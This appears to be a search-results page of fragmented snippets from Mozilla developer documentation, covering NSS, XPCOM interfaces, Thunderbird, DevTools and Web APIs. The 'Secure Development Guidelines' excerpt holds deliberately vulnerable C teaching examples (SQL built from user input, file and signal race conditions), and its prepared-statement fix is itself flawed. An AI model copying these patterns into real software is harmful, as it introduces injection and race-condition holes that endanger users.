content mxr 3.2 and later sec_pkcs7getencryptionalgorithm mxr 3.2 and later sec_pkcs7getsignercommonname mxr 3.4 and later sec_pkcs7getsigneremailaddress mxr 3.4 and later sec_pkcs7getsigningtime mxr 3.4 and later sec_pkcs7includecertchain mxr 3.2 and later sec_pkcs7is
contentempty mxr 3.2 and later sec_pkcs7set
content mxr 3.4 and later sec_pkcs7verifydetachedsignature ...
sslerr.html
ror_session_not_found -12198 "client's ssl session id not found in server's session cache." ssl_error_server_cache_not_configured -12185 "ssl server cache not configured and not disabled for this socket." ssl_error_renegotiation_not_allowed -12176 "renegotiation is not allowed on this ssl socket." received a malformed (too long or short or invalid
content) ssl handshake: all the error codes in the following block indicate that the local socket received an improperly formatted ssl3 handshake message from the remote peer.
... ssl_error_rx_unknown_record_type -12233 "ssl received a record with an unknown
content type." ssl_error_rx_unknown_handshake -12232 "ssl received a handshake message with an unknown message type." ssl_error_rx_unknown_alert -12231 "ssl received an alert record with an unknown alert description." received an alert report: all the error codes in the following block indicate that the local socket received an ssl3 or tls alert record fro...
...sage it received." ssl_error_decompression_failure_alert -12228 "ssl peer was unable to successfully decompress an ssl record it received." ssl_error_handshake_failure_alert -12227 "ssl peer was unable to negotiate an acceptable set of security parameters." ssl_error_illegal_parameter_alert -12226 "ssl peer rejected a handshake message for unacceptable
content." ssl_error_unsupported_cert_alert -12225 "ssl peer does not support certificates of the type it received." ssl_error_certificate_unknown_alert -12224 "ssl peer had some unspecified issue with the certificate it received." ssl_error_decryption_failed_alert -12197 "peer was unable to decrypt an ssl record it received." ssl_error_record_overflow...
NSS Tools modutil
you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module
contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
... -list [modulename] display basic information about the
contents of the secmod.db file.
... creating a set of security management database files (key3.db, cert8.db, and secmod.db): -create displaying basic module information or detailed information about the
contents of a given module: -list [modulename] adding a pkcs #11 module, which includes setting a supporting library file, enabling ciphers, and setting default provider status for various security mechanisms: -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] adding a pkcs #11 module from an existing jar file: -jar jar-file -installdir root-insta...
Shell global objects
evaluate(code[, options]) evaluate code as though it were the
contents of a file.
... read('bar.js') reads the file named by the first argument, returning the
content of the file as string.
...this object encapsulates the code and its cached
content.
Using RAII classes in Mozilla
in the common case, using these macros involves these three additions to a class: class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(jscontext *cx moz_guard_object_notifier_param) { // note: no ',' before macro moz_guard_object_notifier_init; ns
contentutils::addscriptblocker(cx); } ~nsautoscriptblocker() { ns
contentutils::removescriptblocker(); } private: moz_decl_use_guard_object_notifier }; moz_guard_object_notifier_param is added to the end of the constructor's parameter list.
...(this is needed because the macro adds a parameter only when debug is defined, and in this case, it can't add the leading comma.) class moz_raii nsautoscriptblocker { public: explicit nsautoscriptblocker(moz_guard_object_notifier_only_param) { moz_guard_object_notifier_init; ns
contentutils::addscriptblocker(); } ~nsautoscriptblocker() { ns
contentutils::removescriptblocker(); } private: moz_decl_use_guard_object_notifier }; second, if the constructor is not inline, it needs the parameter added in its implementation as well.
... in this case, the implementation must use the moz_guard_object_notifier_param_in_impl macro to add to the implementation: nsautoscriptblocker::nsautoscriptblocker(jscontext *cx moz_guard_object_notifier_param_in_impl) { moz_guard_object_notifier_init; ns
contentutils::addscriptblocker(cx); } or, if it is the only parameter: nsautoscriptblocker::nsautoscriptblocker(moz_guard_object_notifier_only_param_in_impl) { moz_guard_object_notifier_init; ns
contentutils::addscriptblocker(); } finally, if an raii class that uses these macros has derived classes, the derived classes must also use some of the macros in order to get the benefit of the assertions.
Secure Development Guidelines
the following
content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.
...atabase (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of dynamic
content so data does not get mixed with sql instructions example: sqlite3_stmt *stmt; char *str = "select * from account where name='?'"; sqlite3_prepare_v2(db, str, strlen(str), &stmt, null); sqlite3_bind_text(stmt, 1, name, strlen(name), sqlite_transient); sqlite3_step(stmt); sqlite3_finalize(p_stmt); writing secure code: arithmetic issues integer overflows/underflows overflows occur...
... bailout(“symbolic link”); } else if (statbuf.st_uid != getuid) { bailout(“you don’t own the file”); } fd = open(file, o_rdwr); write(fd, argv[2], strlen(argv[2])); } file i/o: race conditions previous example contains a race condition the file may change between the call top stat() and open() this opens the possibility of writing arbitrary
content to any file race conditions occur when two separate execution flows share a resource and its access is not synchronized properly race condition types include file (previously covered) thread (two threads share a resource but don’t lock it) signal race conditions example char *ptr; void sighandler() { if (ptr) free(ptr); _exit(0); } int main...
Gecko events
is supported: yes event_dom_significant_change an object's properties or
content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated.
... is supported: yes event_document_reload the document
contents are being reloaded.
... is supported: no event_document_
content_changed the
contents of the document have changed.
Mozilla internal string guide
cache-friendly means that the zero terminator for c compatibility is written after the new
content of the string has been written, so the result is a forward-only linear write access pattern instead of a non-linear back-and-forth sequence resulting from using setlength() followed by beginwriting().
...the
contents of nsastring always has to be regarded as in this encoding instead of ucs2.
... original document information author: alec flett copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
XPCOM Stream Guide
this implementation actually writes the
contents of the file you're trying to create to a temporary file.
...(however, because baseinputstream is an * nsstringinputstream, it is also a seekable stream...so we could go to * the beginning if we wanted to.) */ var str1 = store.newinputstream(0); var d1 = new inputstream(str1); // d1 has a complete copy of baseinputstream's original
contents.
... var d2 = new inputstream(store.newinputstream(0)); // d2 has a complete copy of baseinputstream's original
contents.
Components.utils.unwaiveXrays
for example, if privileged code accesses a dom object belonging to web
content, it will by default see it using xray vision, meaning that among other things expando properties added to the object by
content are not visible.
...example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the
content window with xray vision, but the chrome code can waive xray protection.
... the chrome code can then use unwaivexrays to restore xray protection: // chrome code //
contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.
contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.
contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waivexrays(gbrowser.
contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.isxraywrapper(waived.document); // false // use unwaivexrays to undo the waiver var unwaived = components.utils.unwaivexrays(waived); isxray = compon...
Components.utils.waiveXrays
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web
content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...example suppose a page script adds an expando to its global window: // page script foo = "i'm an expando"; by default, chrome code won't see foo, because it sees the
content window with xray vision, but the chrome code can waive xray protection: // chrome code //
contentwindow is an xray var isxray = components.utils.isxraywrapper(gbrowser.
contentwindow); // true // expandos are not visible in xrays var foo = gbrowser.
contentwindow.foo; // undefined // you can waive xray vision for an object var waived = components.utils.waivexrays...
...(gbrowser.
contentwindow); isxray = components.utils.isxraywrapper(waived); // false foo = waived.foo; // "i'm an expando" // waiving is transitive isxray = components.utils.isxraywrapper(waived.document); // false ...
XPConnect wrappers
for practical advice on dealing with wrappers, see safely accessing
content dom from chrome.
... note that a previous version of the current page recommended using __exposedprops__ to expose objects from chrome to
content.
...if you need to make objects or functions defined in chrome code accessible to
content, use components.utils.cloneinto or components.utils.exportfunction.
mozIThirdPartyUtil
st changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean isthirdpartychannel(in nsichannel achannel, [optional] in nsiuri auri); boolean isthirdpartyuri(in nsiuri afirsturi, in nsiuri aseconduri); boolean isthirdpartywindow(in nsidomwindow awindow, [optional] in nsiuri auri); methods isthirdpartychannel() determine whether the given channel and its
content window hierarchy is third party.
...for example, if auri is "http://mail.google.com/", achannel has a uri of "http://google.com/", and its parent is the topmost
content window with a uri of "http://mozilla.com", the result will be true.
...(this means that nested iframes with different base domains, even though the bottommost and topmost uris might be equal, will be considered third party.) for example, if auri is "http://mail.google.com/", 'awindow' has a uri of "http://google.com/", and its parent is the topmost
content window with a uri of "http://mozilla.com", the result will be true.
nsIAccessibleEvent
event_document_reload 0x002c 0x0028 the document
contents are being reloaded.
... event_document_
content_changed 0x002f 0x002b the
contents of the document have changed.
... event_dom_significant_change 0x0003 an object's properties or
content have changed significantly so that the type of object has really changed, and therefore the accessible should be destroyed or recreated.
nsIChannelPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface exists to allow the
content policy mechanism to function properly during channel redirects.
...attributes attribute type description
contentsecuritypolicy nsisupports a nsi
contentsecuritypolicy object to determine if the load should be allowed.
... loadtype unsigned long indicates what type of
content is being loaded, for example nsi
contentpolicy::type_image.
nsIDocumentLoader
ader aninstance); obsolete since gecko 1.8 void destroy(); obsolete since gecko 1.8 void fireonlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri auri); obsolete since gecko 1.8 void fireonstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); obsolete since gecko 1.8 void get
contentviewercontainer(in nsisupports adocumentid, out nsi
contentviewercontainer aresult); native code only!
... arequest auri fireonstatuschange() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void fireonstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage ); parameters awebprogress arequest astatus amessage native code only!get
contentviewercontainer obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)this feature is obsolete.
...void get
contentviewercontainer( in nsisupports adocumentid, out nsi
contentviewercontainer aresult ); parameters adocumentid aresult getloadgroup() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) nsiloadgroup getloadgroup(); parameters none.
nsIHttpHeaderVisitor
void visitheader( in acstring aheader, in acstring avalue ); parameters aheader a string containing the key for a header such as "
content-type" avalue the header's value field such as "text/html".
... example this example shows how to detect flash
content.
... mynsihttpheadervisitor = function ( ) { this._isflash = false; }; mynsihttpheadervisitor.prototype.visitheader = function ( aheader, avalue ) { if ( aheader.indexof( "
content-type" ) !== -1 ) { if ( avalue.indexof( "application/x-shockwave-flash" ) !== -1 ) { this._isflash = true; } } }; mynsihttpheadervisitor.prototype.isflash = function ( ) { return this._isflash; }; myhttprequestobserver = function ( ) { this.register( ); this.aborted = components.results.ns_binding_aborted; this.nsihttpchann...
nsIMicrosummary
) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); boolean equals(in nsimicrosummary aother); void removeobserver(in nsimicrosummaryobserver observer); void update(); attributes attribute type description
content astring the
content of the microsummary.
... since generators and pages can be remote resources, and we need them to generate the
content, this may not always be available.
... update() update the microsummary, first loading its generator and page
content as necessary.
nsIMicrosummaryObserver
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void on
contentloaded(in nsimicrosummary microsummary); void onelementappended(in nsimicrosummary microsummary); void onerror(in nsimicrosummary microsummary); methods on
contentloaded() called when an observed microsummary updates its
content.
... since an observer might watch multiple microsummaries at the same time, the microsummary whose
content has been updated gets passed to this handler.
... void on
contentloaded( in nsimicrosummary microsummary ); parameters microsummary the microsummary whose
content has just been updated.
nsIMicrosummaryService
callable by
content via nsisidebar.addmicrosummarygenerator().
...if the caller passes a bookmark id, and one of the microsummaries is the current one for the bookmark, this method will retrieve
content from the datastore for that microsummary, which is useful when callers want to display a list of microsummaries for a page that isn't loaded, and they want to display the actual
content of the selected microsummary immediately (rather than after the
content is asynchronously loaded).
...callers should check the
content property of the returned microsummary object to distinguish between sync and async refreshes.
nsIMsgDBHdr
the value here will effectively be the unparsed header
content, so it will contain full mime-encoded syntax.
...the value here will effectively be the unparsed header
content; it may be easier to set this using setrecipientsarray.
...this value is extracted from the
content-type header.
nsINavBookmarksService
even if their
contents are exactly the same (including an item in a different profile with the same itemid), the guid would be different.
... moves a folder to a different container, preserving its
contents.
... moveitem() this method moves an item to a different container, preserving its
contents.
nsINavHistoryService
transition_embed 4 this transition type is set when some inner
content is loaded.
... this is true of all images on a page, and the
contents of the iframe.
... it is also true of any
content in a frame, regardless if whether or not the user clicked something to get there.
nsIParentalControlsService
constants constant value description epclog_urivisit 1 this log entry type represents an access to web
content.
... asource the uri source of the subject
content.
... atarget optional the location to which the
content was saved if it was not blocked.
nsIProtocolHandler
typically, this flag is used by protocols that show highly untrusted
content in a viewing area that the user expects to have a lot of control over, such as an email reader.
... uri_dangerous_to_load 1<<7 uris using this protocol are unsafe if loaded by untrusted web
content and may only be loaded by privileged code (for example, code that has the system principal).
...there are cases in which such resources may be made accessible to untrusted
content such as web pages, so this is less restrictive than uri_dangerous_to_load but more restrictive than uri_loadable_by_anyone.
nsIScriptableInputStream
examples list
contents of xpi and read file
contents this example here uses the read function.
...full example using the zip interfaces is seen here: list
contents of xpi and read file
contents.
...s: cc, interfaces: ci, results: cr, constructor: cc, utils: cu } = components; var scriptableinputstream = cc("@mozilla.org/scriptableinputstream;1", "nsiscriptableinputstream", "init"); let entry = this.getentry(name); let stream = new scriptableinputstream(this.getinputstream(name)); try { // use readbytes to get binary data, read to read a (null-terminated) string let
contents = stream.readbytes(entry.realsize); } finally { stream.close(); } example usage in ondataavailable remember: the nsiscriptableinputstream has a contract where `init` should only be called once, and should always be closed.
nsIStyleSheetService
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports implemented by: @mozilla.org/
content/style-sheet-service;1.
... to create an instance, use: var stylesheetservice = components.classes["@mozilla.org/
content/style-sheet-service;1"] .getservice(components.interfaces.nsistylesheetservice); method overview void loadandregistersheet(in nsiuri sheeturi, in unsigned long type); boolean sheetregistered(in nsiuri sheeturi, in unsigned long type); void unregistersheet(in nsiuri sheeturi, in unsigned long type); constants constant value description agent_sheet 0 user_sheet 1 author_sheet 2 methods loadandregistersheet() synchronously loads a style sheet from sheeturi and adds it to the list of user or agent style s...
...a user sheet loaded via this api will come before user
content.css and userchrome.css in the cascade (so the rules in it will have lower precedence than rules in those sheets).
nsIXULTemplateResult
content/xul/templates/public/nsixultemplateresult.idlscriptable a single result generated from a template query.
...the template builder will reprocess the template using this result as the reference point and generate output
content that is expected to be inserted as children of the output generated for this result.
... if false, child
content is not processed.
nsIZipWriter
recursively add all
contents of a directory to zip file this example below can be copied and pasted into your scratchpad, set the environment to "browser" and can run.
...it will then recursively go through all
contents in the folder selected and add them into this zip file.
... = fu.file(dir.path + '\\' + dir.leafname + '.zip'); zw.open(xpi, pr.pr_rdwr | pr.pr_create_file | pr.pr_truncate); //pr_truncate overwrites if file exists //pr_create_file creates file if it dne //pr_rdwr opens for reading and writing //recursviely add all var dirarr = [dir]; //adds dirs to this as it finds it for (var i=0; i<dirarr.length; i++) { cu.reporterror('adding
contents of dir['+i+']: ' + dirarr[i].leafname + ' path: ' + dirarr[i].path); var direntries = dirarr[i].directoryentries; while (direntries.hasmoreelements()) { var entry = direntries.getnext().queryinterface(ci.nsifile); //entry is instance of nsifile so here https://developer.mozilla.org/docs/xpcom_interface_reference/nsifile if (entry.path == xpi.path) { cu...
Using nsIDirectoryService
content formerly at http://www.mozilla.org/projects/xpcom/nsdirectoryservice.html general nsdirectoryservice information: nsdirectoryservice implements the nsiproperties interface.
...known locations the nsiproperties strings for currently defined locations can be found in: nsdirectoryservicedefs.h nsappdirectoryservicedefs.h nsxulappapi.h
content formerly at http://www.mozilla.org/projects/xpco...locations.html background the way in which mozilla components locate special files and directories has changed.
...related pages code_snippets:file_i/o original document information authors: conrad carlen, doug turner last updated date: september 26, 2000 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Address Book examples
new contact dialog window.opendialog("chrome://messenger/
content/addressbook/abnewcarddialog.xul", "", "chrome,resizable=no,titlebar,modal,centerscreen", {selectedab:selectedab}); edit contact dialog window.opendialog("chrome://messenger/
content/addressbook/abeditcarddialog.xul", "", "chrome,resizable=no,modal,titlebar,centerscreen", {aburi:aburi, car...
...d:card}); new list dialog window.opendialog("chrome://messenger/
content/addressbook/abmaillistdialog.xul", "", "chrome,resizable=no,titlebar,modal,centerscreen", {selectedab:selectedab}); edit list dialog window.opendialog("chrome://messenger/
content/addressbook/abeditlistdialog.xul", "", "chrome,resizable=no,titlebar,modal,centerscreen", {abcard:abcard, listuri:listuri}); new address book dialog unlike the edit address book dialog, the new address book dialog does not currently have the facility to get the chrome uri based on the address book type.
... for local (mork) address books: window.opendialog( "chrome://messenger/
content/addressbook/abaddressbooknamedialog.xul", "", "chrome,modal=yes,resizable=no,centerscreen", null); for ldap address books: window.opendialog("chrome://messenger/
content/addressbook/pref-directory-add.xul", "", "chrome,modal=yes,resizable=no,centerscreen", null); note: there is no new address book dialog for the os x address book.
Creating a gloda message query
this
content covers features introduced in thunderbird 3 this page describes how to programmatically create a message query using gloda, thunderbird's global database.
... somewhat magic attributes: headermessageid: the
contents of the message-id header of the message.
...effectively, this is the
contents of from/to/cc in a single list and with duplicates removed.
Main Windows
warning: this
content is for older versions of thunderbird.
...the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the
contents of most of the menus (i.e.
...the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the
contents of most of the menus (i.e.
Thunderbird Configuration Files
warning: the
content of this article may be out of date.
... user
content.css used to change the appearance of web pages.
... user
content.css this file sets the display rules for web
content and is located in the sub-folder called chrome in your profile folder.
Building a Thunderbird extension 2: extension file layout
warning: this
content is for older versions of thunderbird.
...a
content/ folder sometimes contains the actual
content files.
...when this tutorial is finished, our extension will look like this: myfirstext.xpi: //created in step 8 /install.rdf //created in step 3 /chrome.manifest //created in step 4 /chrome/ /
content/ /
content/myhelloworld.xul //created in step 5 /
content/overlay.js //created in step 6 /chrome/locale/* //building an extension# localization /chrome/skin/ /defaults/preferences/ //building an extension# defaults files the following tutorial pages will explain how to write each of these files (...
Building a Thunderbird extension 5: XUL
warning: this
content is for older versions of thunderbird.
...the status bar is implemented in a xul file called messenger.xul, which can be found in the chrome/messenger/
content/messenger folder which is packaged inside the omni.ja archive.
... example xul overlay document create a new file called myhelloworld.xul within the
content folder you created earlier with the following
content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://myfirstext/
content/overlay.js"/><!-- a reference to your javascript file --> <statusbar id="status-bar"> <statusbarpanel id="my-panel" label="date"/> </statusbar> </overlay...
Demo Addon
warning: this
content is for older versions of thunderbird.
... the basics the interesting parts covered in this article are in the
content folder.
... demo 1 - iterate over all the accounts this demo is implemented in demo1.html in the
content folder.
Using tab-modal prompts
you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.
contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window.
...for example: var factory = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory); var prompt = factory.getprompt(gbrowser.
contentwindow, components.interfaces.nsiprompt); var bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); var promptargs = ["devmo alert", "omg!
...then apply it, like in the example below, here we apply the prompt with a checkbox: var window = gbrowser.
contentwindow; var promptfact = components.classes['@mozilla.org/prompter;1'].getservice(components.interfaces.nsipromptfactory); var prompt = promptfact.getprompt(window, components.interfaces.nsiprompt); var promptbag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); promptbag.setpropertyasbool('allowtabmodal', true); var check = {value: false}; //initial state of checkbox, howe...
Using the Mozilla symbol server
the debugger will not be able to show you the
content of all variables and the execution path can seem strange because of inlining, tail calls, and other compiler optimizations.
...the rest of values are based on the
contents of the application.ini file under the [app] heading: for example, the thunderbird 3.1b2 release with name=thunderbird, version=3.1b2, buildid=20100430125415 would have a filename of "thunderbird-3.1b2-linux-20100430125415-symbols.txt" under the thunderbird directory at symbols.mozilla.org.
... its
contents are a list of paths to files, all relative to the directory the blah-symbols.txt file is found in.
Drawing and Event Handling - Plugins
the
content provider who writes the web page determines its display mode: whether the plug-in is embedded, or displayed in its own separate page.
...this makes it possible to manipulate plug-in
contents.
... for example, a 3d application could use the
contents of a plug-in as a texture map.
Plugins
plugins are shared libraries that users can install to display
content that the browser can't display natively.
...new
content should not be written using flash or any other plugin technology.
... starting in firefox 55, users will be asked to choose which sites may use flash
content.
Introduction to DOM Inspector - Firefox Developer Tools
inspecting
content documents the inspect
content document menupopup can be accessed from the file menu, and it will list currently loaded
content documents.
...the following descriptions provide an overview of what these viewers are about: the dom nodes viewer shows attributes of nodes that can take them, or the text
content of text nodes, comments, and processing instructions.
... the attributes and text
contents may also be edited.
UI Tour - Firefox Developer Tools
the ui is split vertically into three panels source list pane source pane the
contents of the third pane depend on the current state of the debugger and may include the following sections: toolbar watch expressions breakpoints call stack scopes xhr breakpoints event listener breakpoints dom mutation breakpoints source list pane the source list pane lists all the javascript source files loaded into the page, and enables you to select one to debug.
...in the screenshot below there are three breakpoints: line 82 has a normal breakpoint and execution is paused here line 85 has a logpoint which logs the
contents of tablerow to the console line 100 has a conditional breakpoint the third column shows more information about the breakpoints.
... for example, the logpoint at line 85 logs the value of the tablerow variable to the console and the conditional breakpoint at line 100 breaks if the
contents of the todolist is undefined.
DevTools API - Firefox Developer Tools
ar(xul:tabbox, toolpanel, uid, showtabstripe=true) toolsidebar constructor void addtab(tabid, url, selected=false) add a tab in the sidebar void select(tabid) select a tab void hide() hide the sidebar void show() show the sidebar void toggle() toggle the sidebar void getwindowfortab(tabid) get the iframe containing the tab
content tabid getcurrenttabid() return the id of tabid of the current tab tabbox gettab(tabid) return a tab given its id destroy() destroy the toolsidebar object events description new-tab-registered a new tab has been added {tabid}-ready tab is loaded and can be used {tabid}-selected tab has been selected and is visible ...
... id: "inspector", icon: "chrome://browser/skin/devtools/inspector-icon.png", url: "chrome://browser/
content/devtools/inspector/inspector.xul", get label() { let strings = services.strings.createbundle("chrome://browser/locale/devtools/inspector.properties"); return strings.getstringfromname("inspector.label"); }, istargetsupported: function(target) { return !target.isremote; }, build: function(iframewindow, toolbox, node) { return new inspectorpanel(iframewindow, toolbox, node); } }); open a tool...
...tedtab); let toolbox = gdevtools.opentoolbox(target, null, "inspector"); toolbox.once("inspector-ready", function(event, panel) { let inspector = toolbox.gettoolpanels().get("inspector"); inspector.selection.setnode(target, "browser-context-menu"); }); add a sidebar to an existing tool: let sidebar = new toolsidebar(xultabbox, toolpanel, "toolid"); sidebar.addtab("tab1", "chrome://browser/
content/.../tab1.xhtml", true); sidebar.addtab("tab2", "chrome://browser/
content/.../tab2.xhtml", false); sidebar.show(); ...
Network monitor toolbar - Firefox Developer Tools
a set of tool icons: pause (or resume) recording network log search the log request blocking an array of buttons to filter the network request list by type: by the
content type of the response xhr requests websocket upgrades and messages (labeled ws) other requests a checkbox that allows you to disable caching.
... save all as har opens a file dialog box so you can save the current
contents of the network log as a har file with the extension .har.
... copy all as har copies the current
contents of the network log to the clipboard in har format.
Network request details - Firefox Developer Tools
ders (1.113 kb)": { "headers": [ { "name": "accept-ranges", "value": "bytes" }, { "name": "age", "value": "0" }, { "name": "backend-timing", "value": "d=74716 t=1560258099074460" }, { "name": "cache-control", "value": "private, must-revalidate, max-age=0" }, { "name": "
content-disposition", "value": "inline; filename=api-result.js" }, { "name": "
content-encoding", "value": "gzip" }, { "name": "
content-length", "value": "673" }, { "name": "
content-type", "value": "text/javascript; charset=utf-8" }, { "name": "date", "value": "tue, 11 jun 2019 13:01:39 ...
...cs", "value": "ns=-1;special=badtitle;wmf-last-access=11-jun-2019;wmf-last-access-global=11-jun-2019;https=1" }, { "name": "x-cache", "value": "cp1075 pass, cp1075 pass" }, { "name": "x-cache-status", "value": "pass" }, { "name": "x-client-ip", "value": "204.210.158.136" }, { "name": "x-
content-type-options", "value": "nosniff" }, { "name": "x-firefox-spdy", "value": "h2" }, { "name": "x-frame-options", "value": "sameorigin" }, { "name": "x-powered-by", "value": "hhvm/3.18.6-dev" }, { "name": "x-search-id", "value": "esvan0r5bnnwscyk2wq09i1im" }, { ...
... params tab this tab displays the get parameters and post data of a request: response tab the complete
content of the response.
about:debugging - Firefox Developer Tools
to debug the
contents of one of these tabs, click the inspect button next to its title.
... if you change files that are loaded on demand, like
content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the
content script is loaded or the popup is shown.
...this does what it says: reloads any persistent scripts, such as background scripts parses the manifest.json file again, so changes to permissions,
content_scripts, browser_action or any other keys take effect installed extensions the permanently installed extensions are listed in the next section, extensions.
Body - Web APIs
the body mixin of the fetch api represents the body of the response/request, allowing you to declare what its
content type is and how it should be handled.
... properties body.body read only a simple getter used to expose a readablestream of the body
contents.
... html
content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js
content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification statu...
Managing screen orientation - Web APIs
this lets
content adjust its layout using css, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width).
... adjusting layout based on the orientation one of the most common cases for orientation changes is when you want to revise the layout of your
content based on the orientation of the device.
...while this behavior is perfectly suited for text
content, there is some
content that can be negatively affected by such a change.
Cache - Web APIs
(see selective caching live) the code uses cachestorage.open() to open any cache objects with a
content-type header that starts with font/.
... // (see /docs/web/api/request/clone) return fetch(event.request.clone()).then(function(response) { console.log(' response for %s from network is: %o', event.request.url, response); if (response.status < 400 && response.headers.has('
content-type') && response.headers.get('
content-type').match(/^font\//i)) { // this avoids caching responses that we know are errors (i.e.
...have a
content-type response header that starts with "font/".
Clipboard.read() - Web APIs
the read() method of the clipboard interface requests a copy of the clipboard's
contents, delivering the data to the returned promise when the promise is resolved.
... return value a promise that resolves with a datatransfer object containing the clipboard's
contents.
...otherwise, an image element referred to using the variable imgelem has its source replaced with the clipboard's
contents.
Clipboard - Web APIs
the clipboard interface implements the clipboard api, providing—if the user grants permission—both read and write access to the
contents of the system clipboard.
... for example, firefox does not yet support the "clipboard-read" and "clipboard-write" permissions, so access to the methods that access and change the
contents of the clipboard are restricted in other ways.
...
content scripts applied on http sites do not have access to the clipboard object.
DOMTokenList.remove() - Web APIs
we then remove a token from the list, and write the list into the <span>'s node.text
content.
... first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.remove("c"); span.text
content = classes; the output looks like this: to remove multiple classes at once, you can supply multiple tokens.
... the order you supply the tokens doesn't have to match the order they appear in the list: let span2 = document.getelementsbytagname("span")[0] let classes2 = span.classlist; classes2.remove("c", "b"); span2.text
content = classes; specifications specification status comment domthe definition of 'remove()' in that specification.
DOMTokenList - Web APIs
examples in the following simple example, we retrieve the list of classes set on a <p> element as a domtokenlist using element.classlist, add a class using domtokenlist.add(), and then update the node.text
content of the <p> to equal the domtokenlist.
... first, the html: <p class="a b c"></p> now the javascript: let para = document.queryselector("p"); let classes = para.classlist; para.classlist.add("d"); para.text
content = `paragraph classlist is "${classes}"`; the output looks like this: trimming of whitespace and removal of duplicates methods that modify the domtokenlist (such as domtokenlist.add()) automatically trim any excess whitespace and remove duplicate values from the list.
... for example: <span class=" d d e f"></span> let span = document.queryselector("span"); let classes = span.classlist; span.classlist.add("x"); span.text
content = `span classlist is "${classes}"`; the output looks like this: specifications specification status comment domthe definition of 'domtokenlist' in that specification.
Document.documentURIObject - Web APIs
for web
content this property doesn't have any special meaning and can be used just like any other custom property.
... privileged code must be careful not to try getting or setting this property on a non-wrapped
content object (e.g., on a wrappedjsobject of an xpcnativewrapper).
... syntax var uri = document.documenturiobject; example // check that the uri scheme of the current tab in firefox is 'http', // assuming this code runs in context of browser.xul let uriobj =
content.document.documenturiobject; let uriport = uriobj.port; if (uriobj.schemeis('http')) { ...
Document.visibilityState - Web APIs
possible values are: 'visible' the page
content may be at least partially visible.
... 'hidden' the page
content is not visible to the user.
... 'prerender' the page
content is being prerendered and is not visible to the user (considered hidden for purposes of document.hidden).
Element.attachShadow() - Web APIs
you can see that we use attachshadow() in the middle of the code to create a shadow root, which we then attach our custom element's
contents to.
... // create a class for the element class wordcount extends htmlparagraphelement { constructor() { // always call super first in constructor super(); // count words in element's parent element var wcparent = this.parentnode; function countwords(node){ var text = node.innertext || node.text
content return text.trim().split(/\s+/g).length; } var count = 'words: ' + countwords(wcparent); // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create text node and add word count to it var text = document.createelement('span'); text.text
content = count; // append it to the shadow root shadow.appendchild(text); // update count when element
content changes setinterval(function() { var count = 'wo...
...rds: ' + countwords(wcparent); text.text
content = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); specifications specification status comment domthe definition of 'attachshadow()' in that specification.
Element.outerHTML - Web APIs
